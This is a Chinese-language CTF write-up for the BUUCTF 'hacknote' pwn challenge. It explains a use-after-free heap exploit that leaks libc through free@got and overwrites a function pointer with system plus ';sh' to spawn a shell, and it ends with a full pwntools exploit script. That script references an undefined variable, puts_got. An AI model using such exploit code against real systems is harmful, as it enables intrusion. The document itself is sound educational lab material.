zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote

    附件

    步骤:

    1. 例行检查,32位程序,开启了nx和canary保护
      在这里插入图片描述
    2. 本地试运行看一下大概的情况,熟悉的堆的菜单
      在这里插入图片描述
    3. 32位ida载入
      add()
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述
      gdb看一下堆块的布局更方便理解
      在这里插入图片描述
      delete()
      在这里插入图片描述
      show()
      在这里插入图片描述

    利用思路:使用uaf泄露libc,计算system,执行system(‘/bin/sh’)获取shell

    泄露libc

    print_note的打印功能可以帮助泄露地址。

    1. 先add chunk0,add chunk1,大小都为0x80。
    add(0x80,'aaaa')#0
    add(0x80,'bbbb')#1
    

    在这里插入图片描述

    1. 然后delete chunk1,chuk0.此时再申请add chunk2,大小为8. 那么chunk2的note块就是chunk0的note块,chunk2的content块就是chunk1的note块(fastbin的原则是LIFO)。此时向content2中写入puts函数地址(保持不变,还是原来的)和free@got地址
    delete(1)
    delete(0)
    payload = p32(0x804862b)+p32(0x804a018)
    add(8,payload)#2
    

    在这里插入图片描述
    在这里插入图片描述

    1. 上面分析了show功能的执行是根据note块里的puts函数地址打印content地址上的内容,这样在调用 show(chunk2)时,就会执行puts(free@got地址),将free函数的实际地址泄露,再根据偏移泄露system函数地址。
    add(0x80,'aaaa')#0
    add(0x80,'bbbb')#1
    delete(1)
    delete(0)
    
    payload = p32(0x804862b)+p32(0x804a018)
    add(8,payload)#2
    
    show(1)
    free_addr = u32(p.recv(4))
    
    offset = libc.symbols['system'] - libc.symbols['free']
    system_addr = free_addr + offset
    

    执行system(‘/bin/sh’)

    用上述的方法,将note的puts函数地址覆写成system函数的地址,将要打印的地址的内容chunk的地址改写成‘/bin/sh’,但是这样失败了,百度后得知如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了

    delete(2)
    payload = p32(system_addr) + ';sh'
    add(8,payload)
    
    show(1)
    

    完整exp

    from pwn import *
    context.log_level='debug'
    
    #p = remote('node3.buuoj.cn',25799)
    p=process('./hacknote')
    libc = ELF('./libc-2.23-32.so')
    
    
    def add(size,content):
    	p.recvuntil('Your choice :')
    	p.sendline('1')
    	p.recvuntil('Note size :')
    	p.sendline(str(size))
    	p.recvuntil('Content :')
    	p.send(content)
    
    def delete(index):
    	p.recvuntil('Your choice :')
    	p.sendline('2')
    	p.recvuntil('Index :')
    	p.sendline(str(index))
    
    def show(index):
    	p.recvuntil('Your choice :')
    	p.sendline('3')
    	p.recvuntil('Index :')
    	p.sendline(str(index))
    
    add(0x80,'aaaa')
    add(0x80,'bbbb')
    gdb.attach(p)
    delete(1)
    delete(0)
    
    payload = p32(0x804862b)+p32(puts_got)
    add(8,payload)
    
    show(1)
    free_addr = u32(p.recv(4))
    
    
    
    offset = libc.symbols['system'] - libc.symbols['free']
    system_addr = free_addr + offset
    
    delete(2)
    payload = p32(system_addr) + ';sh'
    add(8,payload)
    
    show(1)
    
    p.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    Oracle 中用 update 语句更新timestamp字段的格式
    Oracle 获取本周、本月、本季、本年的第一天和最后一天
    Linux服务器下,java程序上传文件,中文名乱码或显示问号的解决办法
    Java实现 Oracle decode函数 转换为 MySQL 可用的 case when
    C# Ling to Sql 几种模糊查询
    机器学习学习笔记:sklearn.preprocessing.PolynomialFeatures偏置值inlude_bias设置,以及在Pipeline中的设置
    SQL Server更新表(用一张表的数据更新另一张表的数据)
    windows server 2012 R2里IIS配置.net core2.1遇到的坑
    combobox控件重新绑定后会出现下拉后显示值不变
    List<>使用之坑
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273598.html
Copyright © 2011-2022 走看看